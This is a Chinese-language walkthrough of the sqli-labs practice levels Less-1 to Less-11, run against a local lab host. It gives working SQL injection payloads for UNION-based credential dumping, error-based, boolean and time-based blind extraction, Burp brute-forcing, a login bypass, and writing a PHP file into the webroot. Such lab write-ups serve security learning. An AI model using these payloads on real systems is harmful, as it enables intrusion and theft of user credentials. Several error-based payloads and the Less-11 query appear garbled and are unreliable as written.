sqli-labs解题思路(Less-1到Less-11)
Less-1
提示信息:Please input the ID as parameter with numeric value
按题目要求拼接参数:
http://192.168.20.137/sqli-labs/Less-1/?id=1
得到用户名、密码:
修改拼接参数:
http://192.168.20.137/sqli-labs/Less-1/?id=2
得到新的用户名密码:
猜测漏洞位置在id的参数这里,使用 ' 进行注入,验证漏洞是否真的在id的参数位置。
http://192.168.20.137/sqli-labs/Less-1?id=2'
返回信息:
浏览器自动把 ' 转译成%27,观察 '2'' LIMIT 0,1 发现 2' 确实是录入的参数, '' LIMIT 0,1 为最后的SQL语句,确认漏洞存在于录入的参数 2'。调整payload,增加 -- 注释掉 2' 后边的 LIMIT 0,1 语句:
http://192.168.20.137/sqli-labs/Less-1?id=2' --
执行结果:
依旧报错。怎么回事?使用sql语句直接查库:
select * from users where id = 1 --limit 0,1,
得到结果:
SQL 执行错误 # 1064. 从数据库的响应: \# You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'limit 0,1' at line 1原来注释后边要跟空格,但是只跟空格会被浏览器吞掉,那就在空格后边跟其他字符串
http://192.168.20.137/sqli-labs/Less-1?id=2' -- 1
成功了。下面开始漏洞利用。
首选利用 order by 确认查询的字段有几个,其原理是通过尝试对不存在的列进行排序,触发数据库报错,从而推断出字段的总数。页面展示两个字段先用2 尝试
http://192.168.20.137/sqli-labs/Less-1?id=2' order by 2 -- 1
2 问题,再看看其他的数字行不行
3没问题
4报错
将id设置成 0 使用union select 1,2,3 查看字段的显示位置
页面可以显示2,3,接下来通过2,3两个位置显示内容来爆库爆表
使用database(),version() 函数爆库:
查询 information_schema.tables 并使用 group_concat(table_name) 爆表:
http://192.168.20.137/sqli-labs/Less-1?id=0' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema = database()-- 1
查询 information_schema.columns 并使用 group_concat(column_name) 爆字段
http://192.168.20.137/sqli-labs/Less-1?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
剩下的通过表明直接查数据就可以了,数据太多使用子查询做数据条数限制。
http://192.168.20.137/sqli-labs/Less-1?id=0' union select 1,group_concat(x.username,':',x.password),3 from (select username,password from users limit 3)x --+
Less-2
页面相同步骤跟Less-1一样,先使用' 进行注入
报语法错误,而且参数也没有输出,那就把 ' 去掉试试,增加 -- 1 注释掉录入参数位置之后的所有参数试试。
http://192.168.20.137/sqli-labs/Less-2?id=2 -- 1
成功了,证明注入的方式没问题,Less-2不需要使用 ' ,那么开始爆字段数量,爆库、爆表、爆数据。
直接从4开始,4报错3通过
使用select 1,2,3 查看字段显示位置,记得要使用 0 或者 -1的id查询
http://192.168.20.137/sqli-labs/Less-2?id=-1 union select 1,2,3 -- 1
完美。由于数据库表字段都是一样的,其他流程直接省略,直接爆表数据了
http://192.168.20.137/sqli-labs/Less-2?id=-1 union select 1,group_concat(x.username,':',x.password),3 from (select username,password from users limit 3)x --+
依然完美。
Less-3
页面相同步骤同上,先使用' 进行注入
观察''1'') LIMIT 0,1' 发现录入的 1’ 返回的是 '1' ') LIMIT 0,1 证明前边隐藏的一个( ,那就增加) 试试。
依然语法错误,尝试注释掉后边的limit‘
http://192.168.20.137/sqli-labs/Less-3?id=1’ -- 1
没问题。sql注入验证成功,下一步爆字段数量
4个字段报错,改成3个
完美通过,由于数据库表字段都是一样的,其他流程直接省略,直接爆表数据了
http://192.168.20.137/sqli-labs/Less-3?id=-1') union select 1,group_concat(x.username,':',x.password),3 from (select username,password from users limit 3)x -- 1
完成
Less-4
页面相同步骤同上,直接使用' 进行注入
没有报错,但数据出来了,更换为" 尝试
语法错误,并且有) ,增加)再次尝试
参数没有了,但是" ) 还在,后边的我们不需要了,使用 -- 1 注释掉
没问题,sql注入验证成功,开始下一步,使用order by 4 爆字段数量。
依然是4报错,3成功
由于数据库表字段都是一样的,其他流程直接省略,直接爆表数据了
http://192.168.20.137/sqli-labs/Less-4/?id=-1") union select 1,group_concat(x.username,':',x.password),3 from (select username,password from users limit 3)x -- 1
完成
Less-5
录入id=1,看的出这一题没有输出,可以考虑忙盲注或者报错注入
首先依然是 ' 注入
从 ' '1'' LIMIT 0,1' 看的出 1' 为录入的参数, '' LIMIT 0,1 为最后的SQL语句,漏洞存在于录入的参数 1'。调整payload,增加 -- 注释掉后边的 LIMIT 0,1 语句:
http://192.168.20.137/sqli-labs/Less-5?id=1' -- 1
请求正常,使用order by 爆查询字段数量,依然是4错3通过
现在的问题是数据无法在页面展示,使用盲注需要一个字符一个字符的爆破,比如使用布尔注入爆库名字符长度需要用 length(database()) >=5 ,先假设库名的长度大于等于5,返回成功页面,证明库名长度大于等于5,再次尝试大于等于10
http://192.168.20.137/sqli-labs/Less-5?id=1' and length(database()) >= 5 -- 1
you are in 没有了,证明长度在10以内,换成7
成功,以此类推使用二分法爆库名长度
爆表和数据使用这种方法太麻烦了,所以使用报错注入的方式爆库名和表名,原理是group by 时同一键值第二次插入临时表会报错,错误信息里包含拼进去的子查询结果。具体流程:
rand(0):以 0 为种子生成伪随机数,使每次执行生成固定的 0-1 随机序列。
floor(rand(0)*2):将随机数 0..1 乘以 2 后取整,只会得到 0 或 1,且序列固定(如 0,1,1,0,…)。
concat(...):把子查询结果与这个 0/1 拼成一个字符串作为分组依据(别名 x)。
在执行 group by 时会先创建临时表,对源表的每一行计算分组键值 x,然后尝试插入临时表。
当某行算出的x 与临时表中已存在的键值重复时,MySQL 会报 Duplicate entry 错误,并把重复的键值(即x的字符串)打印在错误消息里。
因为使用了固定种子的 rand(0),这个 0/1 序列经过多次 floor(rand(0)*2) 计算后,必然会出现同一个 x 被计算两次的情况,从而触发重复键错误。
http://192.168.20.137/sqli-labs/Less-5?id=1' union select count(),concat((select database()),floor(rand(0)2))x,3 from information_schema.tables group by x -- 1
爆表:
http://192.168.20.137/sqli-labs/Less-5?id=1' union select count(),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand(0)2))x,3 from information_schema.tables group by x -- 1
爆数据:
http://192.168.20.137/sqli-labs/Less-5?id=1' union select count(),concat((select concat(0x3a,username,0x3a,0x3a,password,0x3a) from users limit 0,1), floor(rand(0)2))x, 3 from information_schema.tables group by x -- 1
数据过多时可以使用BP或者写脚本爆破。
Less-6
页面与Less-5相同,录入id以后都是 You are in
使用 ' 注入没有反应
更换 " 注入
再增加 -- 1 确认注入方式
依旧是order by探测字段数量,4报错3通过
后续步骤与Less-5的爆破步骤相同,省略爆库爆表的过程。
http://192.168.20.137/sqli-labs/Less-6?id=1" union select count(),concat((select concat(0x3a,username,0x3a,0x3a,password,0x3a) from users limit 0,1), floor(rand(0)2))x, 3 from information_schema.tables group by x -- 1
Less-7
输入id后页面提示如下,按照提示是要使用基于文件写入的sql注入
同样的流程,先使用 ' 进行注入,页面显示 You have an error in your SQL syntax 证明无法通过页面输出信息爆库爆表,依然需要盲注
更换" 不报错,证明不是"
改回 ' 增加 -- 1
在' 后边增加) ,还是报错
再增加) 不报错
使用时间注入验证是否正确
http://192.168.20.137/sqli-labs/Less-7/?id=1')) and if (1=1,1,sleep(3)) -- 1
用时2秒
http://192.168.20.137/sqli-labs/Less-7/?id=1')) and if (1=115,1,sleep(3)) -- 1
用时5秒,注入方式没有问题,可以通过盲注的方式爆库,但需要借助BP
写入文件方式注入(用的win10安装phpstudy部署的靶场)
http://192.168.20.137/sqli-labs/Less-7/?id=-1')) union select 1,2,'text' into outfile "C:/phpStudy/PHPTutorial/WWW/text.php" -- 1
也买虽然报错,但是文件可以访问
Less-8
输入id
使用 ' 注入,页面没有输出
增加 -- 1,显示you are in,有信息输出可以使用布尔注入
爆查询字段的数量,4没有信息3有
测试布尔注入
http://192.168.20.137/sqli-labs/Less-8/?id=1' and if (1=1,1,1/0) -- 1
显示成功后的字符,使用报错的sql再次尝试
http://192.168.20.137/sqli-labs/Less-8/?id=1' and if (1=115,1,1/0) -- 1
页面不显示,也可以使用时间注入尝试
http://192.168.20.137/sqli-labs/Less-8/?id=1' and if (1=115,1,sleep(3)) -- 1
注入成功,但是页面没有字符显示,不好处理。使用布尔注入爆库爆表比较方便
用Less-5的二分法爆库名字符长度
http://192.168.20.137/sqli-labs/Less-8/?id=1' and if (length(database())>=10,1,1/0) -- 1
>= 10 没有信息展示,换成5
http://192.168.20.137/sqli-labs/Less-8/?id=1' and if (length(database())>=5,1,1/0) -- 1
5有,换成8
8有,换9
9没有,显而易见长度是8,为了确保是8,将>= 换成 =8再次尝试
库名长度8位,接下来使用BP爆破库名。注入的sql 如下:
http://192.168.20.137/sqli-labs/Less-8/?id=1' and if (substr(database(),1,1)='a',1,1/0) -- 1
通过代理插件拦截浏览器请求发送到BP,并经BP中拦截到的请求发送到Intruder,攻击模式设置成Cluster Bomb,在注入sql中的截取字符的起始位置 和 结果比较的位置各 增加payload,并对其进行设置,字符截取的payload类型为数值,库名长度是8位所以数字范围是从 1 到 8;结果比较的payload 为 Brute forcer,字符集为 abcdefghijklmnopqrstuvwxyz
设置=》检索-匹配中 添加字符 You are in........... 点击开始攻击
筛选出包含特定字符串的值,根据顺序拼接字符串,爆库完成
爆表、爆数据的流程一样,都是先爆长度,再通过截取字符,然后通过应答包中的特定字符串进行筛选,然后按序号拼接字符串获得想要的数据
Less-9
提示信息给的是使用时间注入,依然是先用 ' 看看页面信息,显示的是You are in........... 没有其他信息
假设展示的是报错的信息,追加 -- 1 查看有没有其他信息展示
没有其他信息,只能使用时间注入,看看有没有增加等待的时间,在使用时间注入之前先看看平均返回时间。
平均两秒的响应是时间,使用下面时间注入的sql看看有没有反应
http://192.168.20.137/sqli-labs/Less-9?id=1' and if(1=2,1,sleep(3)) -- 1
比平均时间多出3秒,证明时间注入成功后续方法与Less-8相同,Less-8是通过1/0 让sql报错返回页面进行爆破,Less-9是通过sleep(3) 延长应答时间,通过应答时间筛选出爆破的结果。
Less-10
依然是时间盲注,直接使用Less-9的注入sql
http://192.168.20.137/sqli-labs/Less-10/?id=1' and if(1=2,1,sleep(3)) -- 1
发现没有反应,更换闭合方式使用 " 尝试
应答时间变成 5秒,剩下的步骤与Less-9 相同
Less-11
11关是post请求,随便录入字符点击submit查看数据包和页面的显示
登陆失败,显示LOGIN ATTEMPT FAILED,将数据包发到BP重放器,并在password出使用闭合符
加注释符 看页面展示
跟登陆失败的展示一样,尝试使用万能密码
' or 1=1 -- 1
页面输出SUCCESSFULLY 并且输出用户名密码,用order by 爆查询字段数量
4和3都错,只有2对
调整sql查看字段展示位置
剩下的步骤与Less-1一样不做演示,直接爆数据
union select 1,group_concat(x.username,':',x.password),3 from (select username,password from users limit 3)x
成功
